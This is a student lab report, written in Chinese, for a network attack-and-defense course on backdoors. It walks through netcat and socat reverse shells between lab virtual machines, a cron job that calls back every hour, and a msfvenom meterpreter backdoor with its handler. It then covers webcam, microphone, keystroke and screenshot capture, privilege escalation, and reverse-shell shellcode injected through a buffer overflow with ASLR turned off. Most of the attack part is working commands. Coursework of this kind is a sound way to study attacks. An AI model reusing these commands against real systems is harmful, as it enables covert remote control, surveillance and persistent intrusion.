2019-2020-2 20175325石淦铭《网络对抗技术》Exp2 后门原理与实践
目录:
- 基础知识
- 实验内容
- 实验步骤
- 遇到的问题及解决方法
- 实验感想
基础知识:
1、例举你能想到的一个后门进入到你系统中的可能方式?
- 通过下载带后门的程序或者点开带有后门的软件,网页木马在得到用户连接后,自动发送安装程序给用户,或者别人u盘携带了木马,不小心插到了自己电脑上。
2、例举你知道的后门如何启动起来(win及linux)的方式?
- 后门是可以把自己的名字改成类似于Windows自身可执行文件的,这样Windows就无法发现有木马,可以更改注册表,随系统启动启动。
3、Meterpreter有哪些给你映像深刻的功能?
- 获取目标主机摄像头。
4、如何发现自己有系统有没有被安装后门?
- 使用360杀毒软件进行杀毒扫描;
- 查看端口、服务、任务计划、开机自启动项等是否异常。
实验内容:
- 使用netcat获取主机操作Shell,cron启动;
- 使用socat获取主机操作Shell, 任务计划启动;
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
实验步骤:
一、使用netcat获取主机操作Shell,cron启动
- windows获取linux Shell
1、在win7中打开cmd,使用ipconfig命令查看IP地址为:192.168.216.1
2、ncat.exe -l -p 5325
监听本机的5325端口
3、在kali下,输入nc 192.168.216.1 -e /bin/sh
(使用nc指令的-e选项反向连接Windows主机的5325端口)
4、可以看到win下成功获得kali的shell
- Linux获得Windows Shell
1、在Kali环境下用查看IP
2、Linux中使用nc指令,nc -l -p 5325
,监听5325端口
3、Windows反弹连接Linux使用ncat.exe -e cmd.exe 192.168.216.132 5325
4、kali:可以输入Windows命令ipconfig
- cron启动
1、在Windows系统下,ncat.exe -l -p 5325
,监听5325端口
2、Linux中用crontab -e
指令编辑一条定时任务,在最后一行加入20 * * * * /bin/netcat XXXXXXX 5325 -e /bin/sh
,意思是在每个小时的第20分钟反向连接Windows主机的5325端口,就会启动cron
二、使用netcat获取主机操作Shell,cron启动
1、在Windows系统下,打开计算机管理->任务计划程序
,创建任务,填写任务名称后,新建一个触发器
2、下载socat.rar,并在程序或脚本中选择socat.exe
3、任务创建后,右键它使任务运行。
4、在Kali环境下输入指令socat - tcp:192.168.216.1:5325
,这里的第一个参数代表标准的输入输出,第二个流连接到Windows主机的5325端口
三、使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、在kali中输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.132 LPORT=5325 -f exe > 20175325.exe
生成后门程序(LHOST=kali linux的IP)
2、输入如下命令,
- Win7:
ncat.exe -l > 20175325.exe
- kali:
nc 192.168.216.1 5325 < dkx_20175325.exe
(这里的地址是Win7的地址)
3、在Kali上使用msfconsole
指令进入msf控制台,输入以下代码
use exploit/multi/handler //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.216.132 //这里用的是kali的IP
set LPORT 5325
show options //查看设置
设置完成后,设置完成后,利用exploit,执行监听,在windows中运行20175325.exe
4、此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。
四、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
音频:linux使用record_mic可以截取一段音频
-
摄像头:linux使用webcam_snap可以获取摄像头内容
-
键盘:linux使用keyscan_start可以记录下击键的过程,使用keyscan_dump可以读取击键记录
-
截屏:linux使用screenshot可以进行截屏
-
用户:linux使用getuid可以查看当前用户,使用getsystem可以进行提权操作
五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1、下载反弹连接的shellcode并提取其中的机器码
x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
2、输入如下代码:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行,显示X pwn1则表示可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭,如显示0则已关闭,2未关闭
3、使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "A"x 32;print"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
4、打开另一个终端中msfconsole,并打开监听,在原终端运行pwn1(cat input_2;cat) | ./pwn1
,另一边就可以得到shell了。
遇到的问题及解决方法
问题一、在kali虚拟机中无法进行ipconfig
来查看虚拟机IP地址
解决方法:依次输入:whereis ipconfig
、echo $PATH
、/sbin/ipconfig
就可以解决了
实验感想:
此次的实验学习了很多知识,让我初步了解了如何去搭建一个后门并进行相关的操作,自己动手做实验也加深了对知识的理解。